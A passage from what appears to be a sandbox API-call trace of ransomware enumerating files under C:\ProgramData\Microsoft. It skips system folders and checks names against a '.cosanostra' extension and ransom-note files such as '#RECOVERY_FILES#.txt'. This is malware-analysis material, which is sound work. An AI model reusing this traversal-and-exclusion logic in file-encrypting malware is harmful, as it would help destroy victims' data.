(lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\#RECOVERY_FILES#.txt") returned 66 [0081.268] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.268] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.268] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\#RECOVERY_FILES#.txt") returned 61 [0081.268] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\#RECOVERY_FILES#.txt") returned 61 [0081.269] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.269] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.269] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\#RECOVERY_FILES#.txt") returned 56 [0081.269] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\#RECOVERY_FILES#.txt") returned 56 [0081.269] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.269] lstrcmpiW (lpString1="User Account Pictures", lpString2="Windows") returned -1 [0081.269] lstrlenW (lpString="Windows") returned 7 [0081.269] lstrcmpiW (lpString1="User Account Pictures", lpString2="Program Files") returned 1 [0081.269] lstrlenW (lpString="Program Files") returned 13 [0081.269] lstrcmpiW (lpString1="User Account Pictures", lpString2="Program Files (x86)") returned 1 [0081.269] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.269] lstrcmpiW (lpString1="User Account Pictures", lpString2="$Recycle.bin") returned 1 [0081.269] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.269] lstrcmpiW (lpString1="User Account Pictures", lpString2="System Volume Information") returned 1 [0081.269] lstrlenW (lpString="System Volume Information") returned 25 [0081.270] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures") returned 50 [0081.270] lstrcmpW (lpString1="User Account Pictures", lpString2=".") returned 1 [0081.270] lstrcmpW (lpString1="User Account Pictures", lpString2="..") returned 1 [0081.270] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned 52 [0081.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.270] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.270] lstrlenW (lpString="Windows") returned 7 [0081.270] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.270] lstrlenW (lpString="Program Files") returned 13 [0081.270] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.270] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.270] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.270] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.270] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.270] lstrlenW (lpString="System Volume Information") returned 25 [0081.270] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\.") returned 52 [0081.270] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.270] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.270] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.270] lstrlenW (lpString="Windows") returned 7 [0081.270] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.270] lstrlenW (lpString="Program Files") returned 13 [0081.270] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.270] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.270] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.270] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.270] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.270] lstrlenW (lpString="System Volume Information") returned 25 [0081.270] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\..") returned 53 [0081.270] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.270] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.270] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.270] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="Windows") returned -1 [0081.270] lstrlenW (lpString="Windows") returned 7 [0081.270] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="Program Files") returned -1 [0081.270] lstrlenW (lpString="Program Files") returned 13 [0081.270] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="Program Files (x86)") returned -1 [0081.270] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.270] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="$Recycle.bin") returned 1 [0081.270] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.270] lstrcmpiW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="System Volume Information") returned -1 [0081.270] lstrlenW (lpString="System Volume Information") returned 25 [0081.270] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned 75 [0081.271] StrStrIW (lpFirst="5p5NrGJn0jS HALPmcxz.dat", lpSrch=".cosanostra") returned 0x0 [0081.271] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.271] lstrcmpW (lpString1="5p5NrGJn0jS HALPmcxz.dat", lpString2="_uninstalling_.png") returned 1 [0081.271] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned 75 [0081.271] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.271] lstrcmpiW (lpString1="Default Pictures", lpString2="Windows") returned -1 [0081.271] lstrlenW (lpString="Windows") returned 7 [0081.271] lstrcmpiW (lpString1="Default Pictures", lpString2="Program Files") returned -1 [0081.271] lstrlenW (lpString="Program Files") returned 13 [0081.271] lstrcmpiW (lpString1="Default Pictures", lpString2="Program Files (x86)") returned -1 [0081.271] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.271] lstrcmpiW (lpString1="Default Pictures", lpString2="$Recycle.bin") returned 1 [0081.271] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.271] lstrcmpiW (lpString1="Default Pictures", lpString2="System Volume Information") returned -1 [0081.271] lstrlenW (lpString="System Volume Information") returned 25 [0081.271] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned 67 [0081.271] lstrcmpW (lpString1="Default Pictures", lpString2=".") returned 1 [0081.271] lstrcmpW (lpString1="Default Pictures", lpString2="..") returned 1 [0081.271] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*") returned 69 [0081.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.287] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.287] lstrlenW (lpString="Windows") returned 7 [0081.287] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.287] lstrlenW (lpString="Program Files") returned 13 [0081.287] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.287] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.287] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.287] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.287] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.287] lstrlenW (lpString="System Volume Information") returned 25 [0081.287] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\.") returned 69 [0081.287] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.287] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.287] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.287] lstrlenW (lpString="Windows") returned 7 [0081.287] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.288] lstrlenW (lpString="Program Files") returned 13 [0081.288] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.288] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.288] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.288] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.288] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.288] lstrlenW (lpString="System Volume Information") returned 25 [0081.288] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\..") returned 70 [0081.288] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.288] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.288] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.288] lstrcmpiW (lpString1="usertile10.bmp", lpString2="Windows") returned -1 [0081.288] lstrlenW (lpString="Windows") returned 7 [0081.288] lstrcmpiW (lpString1="usertile10.bmp", lpString2="Program Files") returned 1 [0081.288] lstrlenW (lpString="Program Files") returned 13 [0081.288] lstrcmpiW (lpString1="usertile10.bmp", lpString2="Program Files (x86)") returned 1 [0081.288] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.288] lstrcmpiW (lpString1="usertile10.bmp", lpString2="$Recycle.bin") returned 1 [0081.288] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.288] lstrcmpiW (lpString1="usertile10.bmp", lpString2="System Volume Information") returned 1 [0081.288] lstrlenW (lpString="System Volume Information") returned 25 [0081.288] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned 82 [0081.288] StrStrIW (lpFirst="usertile10.bmp", lpSrch=".cosanostra") returned 0x0 [0081.288] lstrcmpW (lpString1="usertile10.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.288] lstrcmpW (lpString1="usertile10.bmp", lpString2="_uninstalling_.png") returned 1 [0081.288] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned 82 [0081.288] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.288] lstrcmpiW (lpString1="usertile11.bmp", lpString2="Windows") returned -1 [0081.288] lstrlenW (lpString="Windows") returned 7 [0081.288] lstrcmpiW (lpString1="usertile11.bmp", lpString2="Program Files") returned 1 [0081.288] lstrlenW (lpString="Program Files") returned 13 [0081.288] lstrcmpiW (lpString1="usertile11.bmp", lpString2="Program Files (x86)") returned 1 [0081.288] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.288] lstrcmpiW (lpString1="usertile11.bmp", lpString2="$Recycle.bin") returned 1 [0081.288] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.288] lstrcmpiW (lpString1="usertile11.bmp", lpString2="System Volume Information") returned 1 [0081.288] lstrlenW (lpString="System Volume Information") returned 25 [0081.288] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned 82 [0081.288] StrStrIW (lpFirst="usertile11.bmp", lpSrch=".cosanostra") returned 0x0 [0081.288] lstrcmpW (lpString1="usertile11.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.288] lstrcmpW (lpString1="usertile11.bmp", lpString2="_uninstalling_.png") returned 1 [0081.288] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned 82 [0081.288] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.288] lstrcmpiW (lpString1="usertile12.bmp", lpString2="Windows") returned -1 [0081.288] lstrlenW (lpString="Windows") returned 7 [0081.288] lstrcmpiW (lpString1="usertile12.bmp", lpString2="Program Files") returned 1 [0081.289] lstrlenW (lpString="Program Files") returned 13 [0081.289] lstrcmpiW (lpString1="usertile12.bmp", lpString2="Program Files (x86)") returned 1 [0081.289] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.289] lstrcmpiW (lpString1="usertile12.bmp", lpString2="$Recycle.bin") returned 1 [0081.289] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.289] lstrcmpiW (lpString1="usertile12.bmp", lpString2="System Volume Information") returned 1 [0081.289] lstrlenW (lpString="System Volume Information") returned 25 [0081.289] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned 82 [0081.289] StrStrIW (lpFirst="usertile12.bmp", lpSrch=".cosanostra") returned 0x0 [0081.289] lstrcmpW (lpString1="usertile12.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.289] lstrcmpW (lpString1="usertile12.bmp", lpString2="_uninstalling_.png") returned 1 [0081.289] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned 82 [0081.289] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.289] lstrcmpiW (lpString1="usertile13.bmp", lpString2="Windows") returned -1 [0081.289] lstrlenW (lpString="Windows") returned 7 [0081.289] lstrcmpiW (lpString1="usertile13.bmp", lpString2="Program Files") returned 1 [0081.289] lstrlenW (lpString="Program Files") returned 13 [0081.289] lstrcmpiW (lpString1="usertile13.bmp", lpString2="Program Files (x86)") returned 1 [0081.289] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.289] lstrcmpiW (lpString1="usertile13.bmp", lpString2="$Recycle.bin") returned 1 [0081.289] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.289] lstrcmpiW (lpString1="usertile13.bmp", lpString2="System Volume Information") returned 1 [0081.289] lstrlenW (lpString="System Volume Information") returned 25 [0081.289] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned 82 [0081.289] StrStrIW (lpFirst="usertile13.bmp", lpSrch=".cosanostra") returned 0x0 [0081.289] lstrcmpW (lpString1="usertile13.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.289] lstrcmpW (lpString1="usertile13.bmp", lpString2="_uninstalling_.png") returned 1 [0081.289] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned 82 [0081.289] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.289] lstrcmpiW (lpString1="usertile14.bmp", lpString2="Windows") returned -1 [0081.289] lstrlenW (lpString="Windows") returned 7 [0081.289] lstrcmpiW (lpString1="usertile14.bmp", lpString2="Program Files") returned 1 [0081.289] lstrlenW (lpString="Program Files") returned 13 [0081.289] lstrcmpiW (lpString1="usertile14.bmp", lpString2="Program Files (x86)") returned 1 [0081.289] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.289] lstrcmpiW (lpString1="usertile14.bmp", lpString2="$Recycle.bin") returned 1 [0081.289] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.289] lstrcmpiW (lpString1="usertile14.bmp", lpString2="System Volume Information") returned 1 [0081.289] lstrlenW (lpString="System Volume Information") returned 25 [0081.289] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned 82 [0081.289] StrStrIW (lpFirst="usertile14.bmp", lpSrch=".cosanostra") returned 0x0 [0081.289] lstrcmpW (lpString1="usertile14.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.289] lstrcmpW (lpString1="usertile14.bmp", lpString2="_uninstalling_.png") returned 1 [0081.289] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned 82 [0081.289] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.289] lstrcmpiW (lpString1="usertile15.bmp", lpString2="Windows") returned -1 [0081.289] lstrlenW (lpString="Windows") returned 7 [0081.289] lstrcmpiW (lpString1="usertile15.bmp", lpString2="Program Files") returned 1 [0081.290] lstrlenW (lpString="Program Files") returned 13 [0081.290] lstrcmpiW (lpString1="usertile15.bmp", lpString2="Program Files (x86)") returned 1 [0081.290] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.290] lstrcmpiW (lpString1="usertile15.bmp", lpString2="$Recycle.bin") returned 1 [0081.290] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.290] lstrcmpiW (lpString1="usertile15.bmp", lpString2="System Volume Information") returned 1 [0081.290] lstrlenW (lpString="System Volume Information") returned 25 [0081.290] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned 82 [0081.290] StrStrIW (lpFirst="usertile15.bmp", lpSrch=".cosanostra") returned 0x0 [0081.290] lstrcmpW (lpString1="usertile15.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.290] lstrcmpW (lpString1="usertile15.bmp", lpString2="_uninstalling_.png") returned 1 [0081.290] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned 82 [0081.290] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.290] lstrcmpiW (lpString1="usertile16.bmp", lpString2="Windows") returned -1 [0081.290] lstrlenW (lpString="Windows") returned 7 [0081.290] lstrcmpiW (lpString1="usertile16.bmp", lpString2="Program Files") returned 1 [0081.290] lstrlenW (lpString="Program Files") returned 13 [0081.290] lstrcmpiW (lpString1="usertile16.bmp", lpString2="Program Files (x86)") returned 1 [0081.290] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.290] lstrcmpiW (lpString1="usertile16.bmp", lpString2="$Recycle.bin") returned 1 [0081.290] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.290] lstrcmpiW (lpString1="usertile16.bmp", lpString2="System Volume Information") returned 1 [0081.290] lstrlenW (lpString="System Volume Information") returned 25 [0081.290] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned 82 [0081.291] StrStrIW (lpFirst="usertile16.bmp", lpSrch=".cosanostra") returned 0x0 [0081.291] lstrcmpW (lpString1="usertile16.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.291] lstrcmpW (lpString1="usertile16.bmp", lpString2="_uninstalling_.png") returned 1 [0081.291] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned 82 [0081.291] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.291] lstrcmpiW (lpString1="usertile17.bmp", lpString2="Windows") returned -1 [0081.291] lstrlenW (lpString="Windows") returned 7 [0081.291] lstrcmpiW (lpString1="usertile17.bmp", lpString2="Program Files") returned 1 [0081.291] lstrlenW (lpString="Program Files") returned 13 [0081.291] lstrcmpiW (lpString1="usertile17.bmp", lpString2="Program Files (x86)") returned 1 [0081.291] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.291] lstrcmpiW (lpString1="usertile17.bmp", lpString2="$Recycle.bin") returned 1 [0081.291] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.291] lstrcmpiW (lpString1="usertile17.bmp", lpString2="System Volume Information") returned 1 [0081.291] lstrlenW (lpString="System Volume Information") returned 25 [0081.291] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned 82 [0081.291] StrStrIW (lpFirst="usertile17.bmp", lpSrch=".cosanostra") returned 0x0 [0081.291] lstrcmpW (lpString1="usertile17.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.291] lstrcmpW (lpString1="usertile17.bmp", lpString2="_uninstalling_.png") returned 1 [0081.291] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned 82 [0081.291] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.291] lstrcmpiW (lpString1="usertile18.bmp", lpString2="Windows") returned -1 [0081.291] lstrlenW (lpString="Windows") returned 7 [0081.291] lstrcmpiW (lpString1="usertile18.bmp", lpString2="Program Files") returned 1 [0081.291] lstrlenW (lpString="Program Files") returned 13 [0081.292] lstrcmpiW (lpString1="usertile18.bmp", lpString2="Program Files (x86)") returned 1 [0081.292] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.292] lstrcmpiW (lpString1="usertile18.bmp", lpString2="$Recycle.bin") returned 1 [0081.292] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.292] lstrcmpiW (lpString1="usertile18.bmp", lpString2="System Volume Information") returned 1 [0081.292] lstrlenW (lpString="System Volume Information") returned 25 [0081.292] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned 82 [0081.292] StrStrIW (lpFirst="usertile18.bmp", lpSrch=".cosanostra") returned 0x0 [0081.292] lstrcmpW (lpString1="usertile18.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.292] lstrcmpW (lpString1="usertile18.bmp", lpString2="_uninstalling_.png") returned 1 [0081.292] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned 82 [0081.292] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.292] lstrcmpiW (lpString1="usertile19.bmp", lpString2="Windows") returned -1 [0081.292] lstrlenW (lpString="Windows") returned 7 [0081.292] lstrcmpiW (lpString1="usertile19.bmp", lpString2="Program Files") returned 1 [0081.292] lstrlenW (lpString="Program Files") returned 13 [0081.292] lstrcmpiW (lpString1="usertile19.bmp", lpString2="Program Files (x86)") returned 1 [0081.292] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.292] lstrcmpiW (lpString1="usertile19.bmp", lpString2="$Recycle.bin") returned 1 [0081.292] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.292] lstrcmpiW (lpString1="usertile19.bmp", lpString2="System Volume Information") returned 1 [0081.292] lstrlenW (lpString="System Volume Information") returned 25 [0081.292] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned 82 [0081.292] StrStrIW (lpFirst="usertile19.bmp", lpSrch=".cosanostra") returned 0x0 [0081.292] lstrcmpW (lpString1="usertile19.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.292] lstrcmpW (lpString1="usertile19.bmp", lpString2="_uninstalling_.png") returned 1 [0081.292] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned 82 [0081.292] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.292] lstrcmpiW (lpString1="usertile20.bmp", lpString2="Windows") returned -1 [0081.292] lstrlenW (lpString="Windows") returned 7 [0081.292] lstrcmpiW (lpString1="usertile20.bmp", lpString2="Program Files") returned 1 [0081.292] lstrlenW (lpString="Program Files") returned 13 [0081.292] lstrcmpiW (lpString1="usertile20.bmp", lpString2="Program Files (x86)") returned 1 [0081.292] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.292] lstrcmpiW (lpString1="usertile20.bmp", lpString2="$Recycle.bin") returned 1 [0081.292] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.292] lstrcmpiW (lpString1="usertile20.bmp", lpString2="System Volume Information") returned 1 [0081.292] lstrlenW (lpString="System Volume Information") returned 25 [0081.292] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned 82 [0081.292] StrStrIW (lpFirst="usertile20.bmp", lpSrch=".cosanostra") returned 0x0 [0081.292] lstrcmpW (lpString1="usertile20.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.292] lstrcmpW (lpString1="usertile20.bmp", lpString2="_uninstalling_.png") returned 1 [0081.292] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned 82 [0081.293] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.293] lstrcmpiW (lpString1="usertile21.bmp", lpString2="Windows") returned -1 [0081.293] lstrlenW (lpString="Windows") returned 7 [0081.293] lstrcmpiW (lpString1="usertile21.bmp", lpString2="Program Files") returned 1 [0081.293] lstrlenW (lpString="Program Files") returned 13 [0081.293] lstrcmpiW (lpString1="usertile21.bmp", lpString2="Program Files (x86)") returned 1 [0081.293] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.293] lstrcmpiW (lpString1="usertile21.bmp", lpString2="$Recycle.bin") returned 1 [0081.293] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.293] lstrcmpiW (lpString1="usertile21.bmp", lpString2="System Volume Information") returned 1 [0081.293] lstrlenW (lpString="System Volume Information") returned 25 [0081.293] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned 82 [0081.293] StrStrIW (lpFirst="usertile21.bmp", lpSrch=".cosanostra") returned 0x0 [0081.293] lstrcmpW (lpString1="usertile21.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.293] lstrcmpW (lpString1="usertile21.bmp", lpString2="_uninstalling_.png") returned 1 [0081.293] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned 82 [0081.293] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.293] lstrcmpiW (lpString1="usertile22.bmp", lpString2="Windows") returned -1 [0081.293] lstrlenW (lpString="Windows") returned 7 [0081.293] lstrcmpiW (lpString1="usertile22.bmp", lpString2="Program Files") returned 1 [0081.293] lstrlenW (lpString="Program Files") returned 13 [0081.293] lstrcmpiW (lpString1="usertile22.bmp", lpString2="Program Files (x86)") returned 1 [0081.293] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.293] lstrcmpiW (lpString1="usertile22.bmp", lpString2="$Recycle.bin") returned 1 [0081.293] lstrlenW 